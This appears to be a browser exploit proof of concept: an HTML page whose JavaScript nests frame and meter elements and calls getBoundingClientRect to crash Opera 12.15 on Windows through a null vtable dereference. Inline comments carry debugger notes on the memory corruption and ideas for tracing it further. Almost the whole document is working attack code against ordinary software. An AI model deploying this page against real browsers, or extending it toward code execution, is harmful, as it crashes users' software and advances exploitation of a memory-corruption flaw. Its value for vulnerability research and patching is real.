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<head>
<title> Opera 12.15 DOS POC</title>
</head>
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<iframe id="wnd"></iframe>
<script type="text/javascript" language="JavaScript">
/*
Test: Windows 7 x64
Version: Opera 12.15 Win32
Link: www.opera.com
*/
var wnd = document.getElementById("wnd");
wnd = wnd.contentWindow;
function d00m()
{
var tag = [];
tag.push(document.createElement("frame"));
tag.push(document.createElement("meter"));
wnd.document.body.appendChild(tag[0]);
wnd.document.body.appendChild(tag[1]);
/* step 1*/
var obj = tag[1];
var obj_1 = tag[0];
try{ obj_1.appendChild(obj); }catch(b){}
/* eax = [esi + 14h] = this->unknow20 */
try{ obj_1.getBoundingClientRect(); }catch(a){} /* ecx = [eax + 14h] = this->unknow20->unknow20 */
/* eax = [ecx] = this->unknow20->unknow20[vtBl] (correnct) */
/* step 2*/
var obj = tag[0];
var obj_1 = tag[1];
try{ obj_1.appendChild(obj); }catch(b){}
try{ obj_1.getBoundingClientRect();}catch(a){} /* eax = [esi + 14h] = this->unknow20 */
/* ecx = [eax + 14h] = this->unknow20->unknow20 */
} /* eax = [ecx] = this->unknow20->unknow20[vtBl] (uncorrect) 0x00000000 reference */
d00m();
/* so we have here some kind of memory corruption */
/* in "step 1" "vulnerable" code works fine he gets refernce to vtable and do some stuff */
/* in "step 2" the same code do the same thing but vtable of refernced object is corrupted and has value 0x0000000*/
/* logically next step should be checking why the vtable in "step 2" is corrupted */
/* i observed heap allocation and free function between "step 1" and "step 2" - no alloc or free of intersting area occurs (but maybe i fuckup something) */
/* We also can set mem access breakpoint on [eax+14h] at the right moment to find out what corrupt vtable */
</script>
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